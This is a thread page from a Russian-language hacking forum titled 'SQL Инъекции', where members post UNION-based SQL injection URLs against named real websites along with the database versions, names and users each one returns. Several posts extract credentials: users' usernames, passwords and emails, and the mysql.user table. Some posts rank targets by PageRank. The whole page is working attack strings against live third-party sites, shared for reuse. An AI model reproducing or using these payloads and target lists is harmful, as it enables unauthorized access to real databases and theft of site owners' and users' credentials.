SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    Code:
    http://pribor-m.ru/main.php?show=a_ob&action=view&id=-110'+union+select+1,2,version(),4,5,6,7,8,9+/*+
    4.0.27

    Code:
    http://belmilk.com/menu.php?id=-4+union+select+1,group_concat(table_name),3,4,5,6,7,8,9+from+information_schema.tables+/*+
    Code:
    http://www.sushi-house.ru/menu.php?id=-4+UnIon+SeLect+1,2,version(),4,5,6,7,8,9,10,11,12,13+/*+
    4.1.22

    Code:
    http://www.bonappetit.net.ru/menu.php?ID=-0+union+select+1,2,version(),4,5,6,7,8+/*+
    Code:
    http://www.wheatmontana.com/deli-menu.php?id=-6'+UnIon+SeLect+1,2,3,version(),5,6,7+--+
     
  2. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    40
    Likes Received:
    13
    Reputations:
    4
    Code:
    http://wotlk.atricom.ru/index.php?news=-1'+UNION+SELECT+1,concat_ws(0x0b,@@version_compile_os,version()),3,4,5,6--+
    
    pc-linux-gnu
    5.0.51a
     
    #10002 RedX, 3 Jul 2009
    Last edited: 3 Jul 2009
  3. ANUBI$

    ANUBI$ Active Member

    Joined:
    16 Jan 2009
    Messages:
    57
    Likes Received:
    104
    Reputations:
    1
    http://www.prestonredman.co.uk/ourservices.php?id=-6+union+select+1,2,3,4,5,6,7,8
    4.1.21-community-nt

    http://www.legalrecruitment.co.uk/index.php?id=-63+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14
    4.0.27-standard-log
     
    3 people like this.
  4. Shr3k

    Shr3k Member

    Joined:
    16 Dec 2008
    Messages:
    8
    Likes Received:
    7
    Reputations:
    0
    Code:
    http://www.pro-projector.ru/main.php?production=-1453+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10--&cat=4
    Database Version: 5.0.75-log

    P.S. См тайтл)
     
    2 people like this.
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    PR: 5

    http://www.dr-schutz-russia.com/index.php?view=product&id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--


    dbu1106461@localhost:5.0.32-Debian_7etch10-log:db1106461-russia

    #####################################
    ТИЦ: 200
    PR: 4

    http://www.zoddom.ru/priview.php?id=-1+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7,8--&t=dr

    h_zoddom_ru@localhost:zoddom_ru:4.1.22-log
    ####################################

    http://www.droidrunner.com/index.php?ID=1&page=A&go=up&forum=DR&index=5+and+substring(version(),1,1)=5--
     
    _________________________
    #10005 HAXTA4OK, 4 Jul 2009
    Last edited: 4 Jul 2009
    2 people like this.
  6. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 4]
    Code:
    http://www.mondorecords.com/shop.php?id=-433+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,version(),database(),user()),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37
    4.0.27-standard:db124719782:dbo124719782@localhost
    ===============
    [PR 4]
    Code:
    http://www.hitchedmag.com/article.php?id=-526+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44
    5.0.51a-log:hitchedm_hitched:[email protected]
    ===============
    [PR 3]
    Code:
    http://ingrus.net/york/details.php?id=-190+union+select+concat_ws(0x3a,0x3c2f7469746c653e,version(),database(),user())
    4.1.22:db_ingrus_5:[email protected]
     
  7. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://romanceratings.com/review.php?id=11+union+select+1,2,3,4,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,6,7,8,9+from+information_schema.columns+limit+1,1
    version():5.0.51a-24+lenny1-log
    database():romanceratings
    user():romanceratings@localhost

    Table_schema,Table_name,Column_name
    Code:
    ::::::romanceratings:reviews:id
    ::::::romanceratings:reviews:name
    ::::::romanceratings:reviews:title
    ::::::romanceratings:reviews:rating
    ::::::romanceratings:reviews:comments
    ::::::romanceratings:reviews:date
    ::::::romanceratings:reviews:siteid
    ::::::romanceratings:sites:id
    ::::::romanceratings:sites:name
    ::::::romanceratings:sites:small
    ::::::romanceratings:sites:medium
    ::::::romanceratings:sites:large
    ::::::romanceratings:sites:image
    ::::::romanceratings:sites:blurb
    ::::::romanceratings:sites:blurbimage
    ::::::romanceratings:sites:affiliatelink 
    
     
  8. rolex

    rolex Member

    Joined:
    7 Apr 2009
    Messages:
    27
    Likes Received:
    35
    Reputations:
    4
    PR 5
    Вывод в теге embed
    ---
    PR 5
    ---
    PR 4
    Собачки =)
    Code:
    http://www.veorkf.ru/catalog/dog.php?id=-5338+union+select+concat_ws(0x3a,database(),version(),user())--
    http://www.movingafghans.com/dog.php?id=-26+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6--
    http://www.kemosabeterriers.com/dog.php?id=12+union+select+1,concat_ws(0x3a,database(),version(),user()),3--
    http://www.akitas.gr/english/dog.php?id=-281+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68--
    http://www.bradstar.co.uk/dog.php?id=-24+union+select+1,2,concat_ws(0x3a,database(),version(),user()),4,5--
    http://www.panoniantrain.net/strane/dog.php?id=-6+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11--
     
  9. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.fenerbahce.ro/haber_detay.php?id=-173+UNION+SELECT+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8


    Database Version: 4.1.22-max
    Database name: fener_fenerbahcebd
    User name: fener_fener@localhost
    Os: unknown-linux-gnu
     
  10. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR 5
    Code:
    http://matematicas.uniandes[COLOR=Lime].edu.co[/COLOR]/summer2007/index.php?Id=-1+union+select+1,version(),3,4,5,6,7,8,9,0/*
    Database Version: 5.0.45
    Database name: WebMath
    User name: ma73ma71ca2@localhost
     
  11. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    petri.ru

    [PR:2]

    db info:
    http://petri.ru/products.php?product=-62+union+select+1,concat_ws(':',version(),user(),database()),null
    tables:
    http://petri.ru/products.php?product=-62+union+select+1,2,group_concat(0x0b,table_name)+from+information_schema.tables+group+by+table_schema+limit+1,1
     
    1 person likes this.
  12. Shr3k

    Shr3k Member

    Joined:
    16 Dec 2008
    Messages:
    8
    Likes Received:
    7
    Reputations:
    0
    PR - 3
    Code:
    http://www.inbi.ru/index.php?newsmore=-1870+union+select+1,2,3,concat_ws(0x3a,database (),version(),user()),5--
    Database Version: 5.0.75-community-log
     
  13. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    PR5
    Code:
    http://www.bonobomusic.com/bonobo/releases.php?release=-1512+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+information_schema.tables+limit+145,1000+/*+
    Code:
    http://www.ajvengo.ru/menu.php?gid=-00000321+union+select+1,2+/*+&id=00001208
    Code:
    http://www.hatton-arms.co.uk/restaurant-menu.php?id=-7'+union+select+1,2,concat_ws(0x3a3a,username,password,access_level),4,5,6,7,8,9,10+from+users+where+access_level=1+--+
    Code:
    http://www.edohana.com/menu.php?id=-12+union+select+1,pass+from+member+--+
    Code:
    http://www.teatrprod.by/menu.php?id=-222+union+select+1,concat_ws(0x3a3a,user_id,user_company,user_name,user_email,group_id),3,4,5,6,7,8,9+from+users+/*+
     
  14. InFlame

    InFlame Banned

    Joined:
    27 Oct 2008
    Messages:
    207
    Likes Received:
    32
    Reputations:
    0
    db info:
    http://tmck.kz/company/news/?cid=0&rid=-545'+union+select+1,2,3,4,concat_ws(':',version(),user(),database())--+
    tables:
    http://tmck.kz/company/news/?cid=0&rid=-545'+union+select+1,2,3,4,group_concat(0x0a,table_name)+from+information_schema.tables+group+by+table_schema+limit+1,1--+
     
  15. RedX

    RedX Member

    Joined:
    12 Jun 2008
    Messages:
    40
    Likes Received:
    13
    Reputations:
    4
    5.0.45-log: :mangos@localhost:unknown-freebsd7.0:characters
    PHP:
    http://wow.bpnet.ru/gilds.php?guid=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,version(),user(),@@version_compile_os,database()),3,4,5,6,7,8,9,10,11,12/*
    5.0.45-community-nt:mangos@localhost:Win32:characters
    Code:
    http://pavjek.no-ip.info/gilds.php?guid=-1/**/UNION/**/SELECT/**/1,concat_ws(0x3a,version(),user(),@@version_compile_os,database()),3,4,5,6,7,8,9,10,11,12/*
    
     
  16. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    PR 5
    Code:
    http://www.genevainternational.org/navigate.php?kind=1&id=1397&lang=en&last=99&lastsub=-280+union+select+1,group_concat(0x3a,version(),database(),user()),3+/*
    5.0.32-Debian_7etch8-log : geinternational : [email protected]
     
  17. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://hj-co.com/series.php?ID=-1+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5--

    hjcocom_power@localhost:4.1.22-standard:hjcocom_power
    ####################################

    PR: 6
    http://www.iranculture.org/commission/hj/Index.php?ID=1+and+substring(version(),1,1)=3/*

    иранская культура +)

    #####################################
    что то про футбол

    http://www.warkaus-jk.com/selostus.php?id=-1+union+select+1,concat_Ws(0x3a,version(),database(),user()),3--

    4.0.25:db_wjk:vkjanot@localhost
     
    _________________________
    #10017 HAXTA4OK, 5 Jul 2009
    Last edited: 5 Jul 2009
  18. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    [PR 6]
    Code:
    http://www.newsletteraccess.com/display_article.php?id=-8997+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,concat_ws(0x3a,version(),database(),user()),33,34,35,36,37,38,39,40,41,42,43,44--
    4.0.20-standard:newsletters:newsletteraccess@localhost
    ===============
    [PR 6]
    Code:
    http://www.baruch.cuny.edu/bpac/calendar/event.php?id=-410+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,version(),database(),user()),9--
    4.0.16-standard:bpac:bpac@localhost
    ===============
    [PR 4]
    Code:
    http://www.wbstraining.com/php/events/showevent.php?id=-150+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
    5.0.45:wbs:[email protected]
     
    2 people like this.
  19. beerhack

    beerhack Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    99
    Likes Received:
    48
    Reputations:
    5
    PR 5
    Code:
    http://www.clubselecta.com.co/establecimientos.php?id=-1+union+select+1,concat_ws(0x3a,user,password)+from+mysql.user+limit+0,1/*
    Database Version: 4.0.31
    Database name: club_selecta
    User name: elpais@localhost
     
  20. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://akmentornis.com/forum.php?mid=175+union+select+1,concat_ws%280x3a,version%28%29,database%28%29,user%28%29%29,3,4,5,6,7,8,9,10,11,12+limit+1,1/*
    version():4.0.27-max-log
    database():tehnomag_tmag
    user():[email protected]
     
Thread Status:
Not open for further replies.